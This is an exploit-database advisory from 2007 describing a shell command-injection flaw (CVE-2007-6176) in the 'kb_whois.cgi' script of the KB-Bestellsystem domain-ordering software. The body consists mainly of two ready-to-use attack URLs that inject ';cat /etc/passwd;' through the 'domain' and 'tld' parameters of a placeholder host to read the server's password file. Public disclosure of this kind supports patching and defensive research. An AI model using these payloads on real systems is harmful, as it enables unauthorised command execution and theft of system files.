KB-Bestellsystem - 'kb_whois.cgi' Command Execution

Author: Zero X
type: webapps
platform: cgi
port: 
date_added: 2007-11-21 
date_updated:  
verified: 1 
codes: OSVDB-40495;CVE-2007-6176 
tags: 
aliases:  
screenshot_url:  
application_url: 

"KB-Bestellsystem" is a domain order system written in Perl.
The "domain" and "tld" parameters in "kb_whois.cgi" are not filtering shell metacharacters.

The following examples will show you the /etc/passwd file:

http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=;cat%20/etc/passwd;&tld=.com&tarrif=
http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=google&tld=.com;cat /etc/passwd;&tarrif=

<< Greetz Zero X >>

# milw0rm.com [2007-11-22]